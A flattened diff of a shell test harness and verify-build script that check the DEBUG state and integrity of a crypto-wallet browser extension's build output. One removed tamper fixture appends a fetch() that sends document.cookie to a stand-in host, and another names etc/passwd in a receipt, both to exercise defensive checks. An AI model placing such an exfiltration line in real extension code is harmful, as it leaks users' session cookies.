printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css" printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)" {
write_receipt echo "dist/chrome/src/popup/index.js"
echo "dist/firefox/src/popup/index.js"
} >"$FIXTURE/dist/constants-bundles.txt"
# Readable and traversable by the unprivileged user the permission cases # Readable and traversable by the unprivileged user the permission cases
# run as, before those cases take that away again on purpose. # run as, before those cases take that away again on purpose.
@@ -254,51 +185,7 @@ runuser|runuser -u nobody --"
# --- case runner ------------------------------------------------------------ # --- case runner ------------------------------------------------------------
# How verify-build is invoked for a case. The arguments are literal here rather # check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
# than assembled from a string, so nothing about a case's invocation depends on
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
# verifier ignores it — that is the whole of the ambient-environment defect.
run_verify() {
_rv_variant="$1"
_rv_perm="$2"
_rv_bin="$FIXTURE/script/verify-build"
case "$_rv_variant" in
release | release-envdebug)
set -- --expect release --receipt "$RECEIPT"
;;
debug)
set -- --expect debug --receipt "$RECEIPT"
;;
no-expect)
set -- --receipt "$RECEIPT"
;;
no-receipt)
set -- --expect release
;;
bad-expect)
set -- --expect maybe --receipt "$RECEIPT"
;;
unknown-arg)
set -- --expect release --receipt "$RECEIPT" --force
;;
receipt-in-dist)
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
;;
*)
echo "test-verify-build: unknown variant $_rv_variant" >&2
exit 1
;;
esac
if [ "$_rv_perm" = yes ]; then
run_unpriv "$_rv_bin" "$@"
else
"$_rv_bin" "$@"
fi
}
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
# #
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
# requires both the exit status and the message. <perm> marks a case that only # requires both the exit status and the message. <perm> marks a case that only
@@ -306,7 +193,7 @@ run_verify() {
check_case() { check_case() {
_name="$1" _name="$1"
_perm="$2" _perm="$2"
_variant="$3" _mode="$3"
_want_status="$4" _want_status="$4"
_want_text="$5" _want_text="$5"
_setup="$6" _setup="$6"
@@ -326,22 +213,23 @@ check_case() {
return 0 return 0
fi fi
# Exported rather than set as a command prefix: run_verify may go through if [ "$_mode" = debug ]; then
# run_unpriv, which is a function, and an assignment prefixed to a function _debug=1
# call is not portable. Every other case unsets it, so the environment this else
# harness happens to run in cannot decide anything. _debug=""
case "$_variant" in fi
*envdebug)
AUTISTMASK_DEBUG=1 # Exported rather than set as a command prefix: run_unpriv is a function,
export AUTISTMASK_DEBUG # and an assignment prefixed to a function call is not portable.
;; AUTISTMASK_DEBUG="$_debug"
*) export AUTISTMASK_DEBUG
unset AUTISTMASK_DEBUG || true
;;
esac
_status=0 _status=0
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$? if [ "$_perm" = yes ]; then
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
else
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
fi
_ok=yes _ok=yes
_why="" _why=""
@@ -384,9 +272,7 @@ check_case() {
# --- cases ------------------------------------------------------------------ # --- cases ------------------------------------------------------------------
# #
# Each runs with the fixture as its working directory. A case that regenerates # Each runs with the fixture as its working directory.
# the receipt is saying "this is what the build emitted"; one that does not is
# saying "the build emitted something else and this happened afterwards".
c_control() { :; } c_control() { :; }
@@ -413,233 +299,38 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; } c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
c_receipt_missing() { rm "$RECEIPT"; } c_manifest_missing() { rm dist/constants-bundles.txt; }
c_receipt_empty() { : >"$RECEIPT"; } c_manifest_empty() { : >dist/constants-bundles.txt; }
c_receipt_unreadable() { chmod 000 "$RECEIPT"; } c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
c_receipt_bad_header() { c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
}
c_receipt_other_tree() { c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
}
c_receipt_path_with_space() { c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
write_receipt
printf 'file %s P dist/two words.js\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_path_outside_dist() { c_unlisted_extension() {
write_receipt
printf 'file %s P etc/passwd\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_extra_file_with_marker() {
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
} }
c_extra_file_no_marker() { c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
}
# The four demonstrated bypasses of the pre-receipt verifier.
# A 26-byte file whose entire content is the marker string used to verify ok.
c_marker_only_stub() {
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
}
# The content script runs on every page the browser loads and was never read.
c_tampered_content_script() {
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
>>dist/chrome/src/content/index.js
}
# The manifest decides permissions and CSP and was never read either.
c_tampered_manifest() {
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
>dist/chrome/manifest.json
}
# A dist/ that has nothing to do with this build, carrying the right file
# names and the right marker, offered against this build's receipt.
c_foreign_dist() {
rm -rf dist
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
printf 'body{color:#fff}\n' >dist/styles.css
}
# Cases that state what the build itself emitted, and so regenerate the
# receipt over the changed bytes.
c_no_marker() {
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
write_receipt
}
c_both_markers() { c_both_markers() {
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
write_receipt
}
c_marker_on_plain_file() {
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
>dist/chrome/src/content/index.js
write_receipt
}
c_debug_build() {
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
write_receipt
}
# --- Makefile wiring --------------------------------------------------------
# The verifier cases above prove what verify-build does when it is told what to
# expect. This proves the Makefile tells it — with the mode as an argument, on
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
# exported in the shell that ran make. Read off `make -n`, so no build runs.
check_makefile_wiring() {
if ! command -v make >/dev/null 2>&1; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
echo " SKIP (make not found): Makefile wiring"
return 0
fi
# make build must ask for release, and must scrub the flag from the
# verifier's environment, even when the caller has it exported.
_wiring_case "make build passes --expect release" \
build "verify-build --expect release"
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
build "env -u AUTISTMASK_DEBUG"
_wiring_case "make build-debug passes --expect debug" \
build-debug "verify-build --expect debug"
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
build-debug "env -u AUTISTMASK_DEBUG"
}
_wiring_case() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
_wc_status=0
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
unset AUTISTMASK_DEBUG
if [ "$_wc_status" -ne 0 ]; then
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target exited $_wc_status"
return 0
fi
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
0)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
1)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target does not run: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
} }
run_cases() { run_cases() {
check_case "control: untouched dist passes" \ check_case "control: untouched dist passes" \
no release 0 "2 bundle(s) $MARKER_OFF" c_control no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \ check_case "unlisted marker-carrying file, trailing space in name" \
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control no release 1 "carries a debug marker but is absent from" \
check_case "debug bundles under --expect release fail (make build with
AUTISTMASK_DEBUG=1 exported)" \
no release-envdebug 1 \
"is $MARKER_ON but this build was told to expect" c_debug_build
check_case "debug bundles under --expect debug pass" \
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
check_case "no --expect argument" \
no no-expect 1 "no --expect argument." c_control
check_case "no --receipt argument" \
no no-receipt 1 "no --receipt argument." c_control
check_case "--expect takes release or debug" \
no bad-expect 1 "--expect takes release or debug" c_control
check_case "unknown argument" \
no unknown-arg 1 "unknown argument: --force" c_control
check_case "receipt inside the tree it describes" \
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
check_case "bundle replaced by a file containing only the marker" \
no release 1 "does not contain the bytes this build emitted" \
c_marker_only_stub
check_case "content script tampered with after the build" \
no release 1 \
"dist/chrome/src/content/index.js does not contain the bytes" \
c_tampered_content_script
check_case "manifest.json tampered with after the build" \
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
c_tampered_manifest
check_case "hand-written dist/ offered against this build's receipt" \
no release 1 "does not contain the bytes this build emitted" \
c_foreign_dist
check_case "extra file under dist/ carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
c_extra_file_with_marker
check_case "extra file under dist/ carrying no marker" \
no release 1 \
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
c_extra_file_no_marker
check_case "extra file, trailing space in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_trailing_space c_trailing_space
check_case "extra file, newline in name" \ check_case "unlisted marker-carrying file, newline in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \ no release 1 "carries a debug marker but is absent from" \
c_embedded_newline c_embedded_newline
check_case "dist/ replaced by a symlink" \ check_case "dist/ replaced by a symlink" \
@@ -651,88 +342,64 @@ run_cases() {
check_case "dangling symlink under dist/" \ check_case "dangling symlink under dist/" \
no release 1 \ no release 1 \
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink "reading dist/chrome/dangling.js, so the file could not be" \
c_dangling_symlink
check_case "symlink to a directory under dist/" \ check_case "symlink to a directory under dist/" \
no release 1 \ no release 1 \
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink "reading dist/chrome/link-to-dir, so the file could not be" \
c_dir_symlink
check_case "symlink aliasing an emitted bundle under another path" \ check_case "symlink to a listed bundle under an unlisted path" \
no release 1 \ no release 1 \
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink "dist/chrome/src/aliased.js carries a debug marker but is absent" \
c_alias_symlink
check_case "receipt missing" \ check_case "manifest missing" \
no release 1 "is missing. build.js writes it" c_receipt_missing no release 1 "dist/constants-bundles.txt is missing." \
c_manifest_missing
check_case "receipt empty" \ check_case "manifest empty" \
no release 1 "is empty, so the build wrote nothing to it" \ no release 1 "is empty, so no emitted bundle was found to contain" \
c_receipt_empty c_manifest_empty
check_case "receipt unreadable" \ check_case "manifest unreadable" \
yes release 1 "is not readable, so nothing was inspected." \ yes release 1 "is not readable, so nothing was inspected." \
c_receipt_unreadable c_manifest_unreadable
check_case "receipt is not a build receipt" \ check_case "listed bundle missing" \
no release 1 "does not start with" c_receipt_bad_header
check_case "receipt from a different checkout" \
no release 1 "was written by a build of a different tree" \
c_receipt_other_tree
check_case "receipt names a path containing a space" \
no release 1 "cannot be read back unambiguously" \
c_receipt_path_with_space
check_case "receipt names a path outside dist/" \
no release 1 "names a path that is not under dist/" \
c_receipt_path_outside_dist
check_case "emitted file missing" \
no release 1 \ no release 1 \
"names dist/chrome/src/popup/index.js, which does not exist." \ "lists dist/chrome/src/popup/index.js, which does not exist." \
c_emitted_missing c_bundle_missing
check_case "emitted file empty" \ check_case "listed bundle empty" \
no release 1 "which is empty. An empty file" c_emitted_empty no release 1 "which is empty. An empty bundle" c_bundle_empty
check_case "emitted file unreadable" \ check_case "listed bundle unreadable" \
yes release 1 \ yes release 1 \
"on dist/chrome/src/popup/index.js, so its bytes were never read" \ "reading dist/chrome/src/popup/index.js, so the file could not be" \
c_emitted_unreadable c_bundle_unreadable
check_case "emitted bundle carries no marker" \ check_case "unlisted extension carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
c_unlisted_extension
check_case "listed bundle carries no marker" \
no release 1 "carries no debug marker, so its DEBUG state cannot be" \ no release 1 "carries no debug marker, so its DEBUG state cannot be" \
c_no_marker c_no_marker
check_case "emitted bundle carries both markers" \ check_case "listed bundle carries both markers" \
no release 1 "carries both debug markers, so DEBUG was not resolved" \ no release 1 "carries both debug markers, so DEBUG was not resolved" \
c_both_markers c_both_markers
check_case "marker on a file the build did not record as a bundle" \ check_case "wrong marker for the requested mode" \
no release 1 "carries a debug marker but the build did not" \ no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
c_marker_on_plain_file c_control
check_makefile_wiring
} }
# --- main -------------------------------------------------------------------- # --- main --------------------------------------------------------------------
# The harness cannot build a receipt without a digest, so a missing sha256
# command is a failure here rather than a silent reduction in coverage.
pick_sha256_tool() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256_CMD="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256_CMD="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256_CMD="openssl dgst -sha256 -r"
else
echo "test-verify-build: no sha256 command found (tried sha256sum," \
"shasum, openssl), so no fixture receipt can be written" >&2
exit 1
fi
}
main() { main() {
cd "$ROOT" cd "$ROOT"
@@ -742,7 +409,6 @@ main() {
} }
echo "Testing script/verify-build failure modes..." echo "Testing script/verify-build failure modes..."
pick_sha256_tool
probe_permission_runner probe_permission_runner
if [ "$PERM_ENABLED" = yes ]; then if [ "$PERM_ENABLED" = yes ]; then
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \ echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -760,11 +426,11 @@ main() {
if [ "$SKIPPED" -ne 0 ]; then if [ "$SKIPPED" -ne 0 ]; then
cat <<EOF cat <<EOF
################################################################################ ################################################################################
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM. ## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
## This process is uid $(id -u), and no runner subject to file permissions was ## PROVE THEM. This process is uid $(id -u), and no runner subject to file
## available. Tried: $PERM_HOW. ## permissions was available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so the permission cases ## Under root, chmod 000 stops neither find nor grep, so these cases would
## would have passed without testing anything. They were skipped, not counted: ## have passed without testing anything. They were skipped, not counted:
$SKIPPED_NAMES################################################################################ $SKIPPED_NAMES################################################################################
EOF EOF
echo "test-verify-build: $PASSED case(s) passed," \ echo "test-verify-build: $PASSED case(s) passed," \

View File

@@ -1,91 +1,45 @@
#!/bin/sh #!/bin/sh
# script/verify-build: assert that dist/ holds exactly what the build that just # script/verify-build: assert the compiled DEBUG state of the emitted
# ran emitted, and that the compiled DEBUG state of that output is the one the # bundles. Our own extension to scripts-to-rule-them-all, run at the end of
# caller asked for. Our own extension to scripts-to-rule-them-all, run at the # make build / make build-debug.
# end of make build / make build-debug.
# #
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery # Why this exists: DEBUG makes the publicly committed test recovery phrase the
# phrase the output of wallet creation, so a release artifact built with it live # output of wallet creation, so a release artifact built with it live hands
# hands every new wallet to anyone who reads the repo. The test suite cannot see # every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes the # this, because it loads src/shared/constants.js outside a bundle and takes
# fallback branch; the property only exists in the emitted output, so it has to # the fallback branch; the property only exists in the emitted output, so it
# be asserted against the emitted output. # has to be asserted against the emitted output.
# #
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never # What it reads: dist/constants-bundles.txt, written by build.js from
# taken from this script's environment. It used to be read from # esbuild's metafile, naming every emitted bundle that contains
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1 # src/shared/constants.js. Each of those must carry exactly one of the two
# exported in their shell could run the release target, get a debug build, and # BUILD_DEBUG_MARKER literals that constants.js folds down to.
# have it verified green and exit 0. There is also no default: a caller that
# does not say what it built gets a failure, because "no opinion" is not a
# state this can check anything against.
# #
# Why the provenance half exists: on its own, a marker grep proves nothing # It fails rather than passes whenever it cannot determine a bundle's state.
# about where the bytes came from. A 26-byte file containing only the marker # Minified output is not a stable contract, so "matched neither form" is not
# string used to verify ok; the content script and manifest.json were not read # evidence of anything and must never read as green.
# at all; an entire hand-written dist/ passed. The list of files to check has
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
# emitted, with each file's sha256 and whether it is one of the bundles
# containing src/shared/constants.js, and the Makefile creates that receipt
# path fresh per invocation, outside the repo, and deletes it afterwards.
#
# What that does and does not establish. It establishes that dist/ is byte for
# byte the output of the build.js run that just finished, with nothing added,
# nothing missing and nothing altered in between, and that the audited bundles
# in it compiled to the requested mode. It does NOT establish that the source
# tree or build.js were honest, and it says nothing at all to someone handed a
# dist/ from elsewhere: without the receipt from its own build they have no
# input to this check. That is signing, and it is not this control.
#
# It fails rather than passes whenever it cannot determine something. Minified
# output is not a stable contract, so "matched neither marker" is not evidence
# of anything and must never read as green; the same discipline applies to
# every read here, which is why a grep or a digest that could not be taken is
# a hard failure and not an absence of a problem.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere. # Absolute path to this script, resolved before anything cd's anywhere.
# check_dist_tree re-invokes it through xargs, and $0 on its own may be # check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
# relative to a directory we are about to leave. # relative to a directory we are about to leave.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")" SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag; see scan_dist_paths. # Internal re-entry flag; see scan_dist_paths.
SCAN_FLAG="--scan-dist-paths" SCAN_FLAG="--scan-dist-paths"
# A literal newline and tab, for the receipt-shape guards. # A literal newline, for the is_listed guard.
NEWLINE=' NEWLINE='
' '
TAB=' '
MANIFEST="dist/constants-bundles.txt"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1" # Set by read_marker.
# Set by the arguments.
RECEIPT=""
EXPECT=""
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
# receipt line number the diagnostics quote.
MARKER="" MARKER=""
SHA=""
ENTRY_HASH=""
ENTRY_FLAG=""
ENTRY_PATH=""
LINENO_R=0
# The sha256 command, chosen by pick_sha256.
SHA256=""
# Totals: the shape pass counts what the receipt claims, the entries pass
# counts what was actually checked against dist/, and the summary reports the
# latter.
SHAPE_COUNT=0
SHAPE_AUDITED=0
COUNT=0
AUDITED=0
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
# trap because fail() exits from wherever it is called. # trap because fail() exits from wherever it is called.
@@ -96,17 +50,11 @@ fail() {
exit 1 exit 1
} }
usage() {
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
}
cleanup() { cleanup() {
[ -z "$LISTING" ] || rm -f "$LISTING" [ -z "$LISTING" ] || rm -f "$LISTING"
} }
trap cleanup EXIT trap cleanup EXIT
# --- reading files ----------------------------------------------------------
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
# (exit 1) are answers about the emitted output. Anything else (exit 2: the # (exit 1) are answers about the emitted output. Anything else (exit 2: the
# file could not be read) is not an answer at all, and must not be reported as # file could not be read) is not an answer at all, and must not be reported as
@@ -126,46 +74,34 @@ has_marker() {
esac esac
} }
# Pick the sha256 command once. All three print the digest as the first # Does the manifest list the path $1, as a whole line? Same discipline as
# whitespace-delimited field. If none is present the digests cannot be taken at # has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
# all, and this script has nothing left to check with, so it fails rather than # manifest could not be read and is not an answer at all. Without this, an
# degrading to the marker grep it used to be. # unreadable manifest reads as "this file is not listed" and every emitted
pick_sha256() { # bundle gets reported as an unlisted one.
if command -v sha256sum >/dev/null 2>&1; then #
SHA256="sha256sum" # A path containing a newline is answered without asking grep, because grep
elif command -v shasum >/dev/null 2>&1; then # would read the pattern as two patterns and report a match on either. That is
SHA256="shasum -a 256" # how such a path escaped this check even once the walk stopped splitting it:
elif command -v openssl >/dev/null 2>&1; then # the half before the newline matched a listed line and the file was skipped.
SHA256="openssl dgst -sha256 -r" # The manifest is line-delimited, so it cannot name such a path at all, and
else # "not listed" is the only true answer.
fail "no sha256 command found (tried sha256sum, shasum, openssl), so is_listed() {
the emitted files cannot be checked against the build receipt at all. case "$1" in
Refusing to report success." *"$NEWLINE"*) return 1 ;;
fi esac
} _il_status=0
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and case "$_il_status" in
# not a pass: it means the artifact was never read. 0) return 0 ;;
read_sha256() { 1) return 1 ;;
_rs_status=0 *)
# Word-split on purpose: SHA256 is a command with its arguments. fail "grep exited $_il_status reading $MANIFEST, so it could not be
# shellcheck disable=SC2086 searched and nothing was established about which bundles it lists. That is
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$? a permissions or I/O fault on the manifest, not a stale manifest. Refusing
[ "$_rs_status" -eq 0 ] || to report success."
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
and nothing was established about them. That is a permissions or I/O fault
on the artifact, not a mismatch. Refusing to report success."
SHA="${_rs_out%% *}"
case "$SHA" in
"" | *[!0-9a-f]*)
fail "$SHA256 produced no usable digest for $1, so its bytes were never
checked. Refusing to report success."
;; ;;
esac esac
[ "${#SHA}" -eq 64 ] ||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
a sha256. Refusing to report success."
} }
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -204,189 +140,40 @@ read_marker() {
fi fi
} }
# --- the receipt ------------------------------------------------------------ # The manifest says which bundles must carry a marker. This says no other
# emitted file may carry one, which catches a manifest that has gone stale
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and # or short rather than trusting whatever it happens to list.
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
# remainder of the line, so a path carrying a space or a tab would be read back
# as something other than what was written; build.js refuses to emit such a
# name, and a receipt that contains one is malformed rather than describing a
# file. Every rejection here is a failure: a line that cannot be understood is
# a file that would otherwise go unchecked.
parse_file_line() {
case "$1" in
"file "*) ;;
*)
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
not know what it means: ${1}. Refusing to report success."
;;
esac
_pl="${1#file }"
ENTRY_HASH="${_pl%% *}"
_pl="${_pl#* }"
ENTRY_FLAG="${_pl%% *}"
ENTRY_PATH="${_pl#* }"
case "$ENTRY_HASH" in
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
esac
[ "${#ENTRY_HASH}" -eq 64 ] ||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
which is not a sha256: $1"
case "$ENTRY_FLAG" in
A | P) ;;
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
esac
case "$ENTRY_PATH" in
dist/*) ;;
*)
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
;;
esac
case "$ENTRY_PATH" in
*" "* | *"$TAB"* | *"$NEWLINE"*)
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
cannot be read back unambiguously from a line-oriented receipt: $1"
;;
esac
}
# Check one emitted file against its receipt entry: it must be a regular file
# with exactly the recorded bytes, and its debug marker must match what the
# caller said this build was.
check_entry() {
[ ! -h "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
build emits regular files only, so this is not the file it wrote. Refusing
to report success."
[ -f "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
not hold what the build emitted."
[ -s "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
carries no marker and matches no digest, so this is a failure and not a
pass."
read_sha256 "$ENTRY_PATH"
[ "$SHA" = "$ENTRY_HASH" ] ||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
to dist/ after the build, so this artifact is not the one that was built."
if [ "$ENTRY_FLAG" = A ]; then
read_marker "$ENTRY_PATH"
[ "$MARKER" = "$EXPECT" ] ||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
build, that is why: the flag still reaches the compiler, and this is the
check that stops the debug artifact being taken for a release one."
echo " ok: $ENTRY_PATH ($MARKER)"
AUDITED=$((AUDITED + 1))
else
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
fail "$ENTRY_PATH carries a debug marker but the build did not
record it as containing src/shared/constants.js. build.js selects audited
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
set means the test no longer describes what is emitted, and the DEBUG state
of this file was never asserted against anything."
fi
fi
COUNT=$((COUNT + 1))
}
# Walk the receipt line by line, applying $1 to each file entry. The header and
# the root line are checked on the way past; the root line is what stops a
# receipt written by a build of some other tree being pointed at this one.
walk_receipt() {
_wr_each="$1"
LINENO_R=0
_line=""
while IFS= read -r _line || [ -n "$_line" ]; do
LINENO_R=$((LINENO_R + 1))
if [ "$LINENO_R" -eq 1 ]; then
[ "$_line" = "$RECEIPT_HEADER" ] ||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
is not a build receipt this script understands. Refusing to report
success."
continue
fi
if [ "$LINENO_R" -eq 2 ]; then
[ "$_line" = "root $ROOT" ] ||
fail "$RECEIPT was written by a build of a different tree: it
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
the tree it was built in."
continue
fi
parse_file_line "$_line"
"$_wr_each"
done <"$RECEIPT"
[ "$LINENO_R" -ge 2 ] ||
fail "$RECEIPT is truncated: it has no root line, so it is not a
receipt this script can check anything against."
}
# Pass one: the receipt has to be a receipt before anything is concluded from
# it. A line this script cannot read is a file that would go unchecked, and a
# receipt naming no audited bundle asserts no DEBUG state at all — both are
# failures, and both have to be established before the tree is walked against
# it, because a receipt entry that was misread would otherwise surface as a
# complaint about dist/.
count_entry() {
SHAPE_COUNT=$((SHAPE_COUNT + 1))
if [ "$ENTRY_FLAG" = A ]; then
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
fi
}
check_receipt_shape() {
SHAPE_COUNT=0
SHAPE_AUDITED=0
walk_receipt count_entry
[ "$SHAPE_COUNT" -gt 0 ] ||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
build always emits some."
[ "$SHAPE_AUDITED" -gt 0 ] ||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
no DEBUG state would be asserted at all. That is never correct, so it is a
failure and not a pass."
}
# Pass three: every file the receipt names, checked against the bytes on disk.
check_receipt_entries() {
walk_receipt check_entry
}
# --- the emitted tree -------------------------------------------------------
# The receipt says which files the build emitted. This says dist/ contains no
# others: an artifact that was added after the build, or that a hand-written
# dist/ brought with it, is not something the build vouches for and is not
# something this check may pass over.
# #
# The walk has to be exhaustive and every name has to survive it intact, so # Deliberately unfiltered by extension. build.js selects manifest entries with
# four things are enforced rather than assumed: # an endsWith(".js") test; repeating that literal here would mean a bundle
# emitted under some other extension escaped the manifest AND this check at
# once, which is the correlated blind spot the two-source design exists to
# avoid. Every regular file and every symlink under dist/ is searched — that
# is the whole of what a build emits — so build.js's filter is the only place
# the assumption lives and this check is what catches it being wrong.
#
# That claim only holds if the walk is exhaustive and every name survives it
# intact, so four things are enforced here rather than assumed:
# #
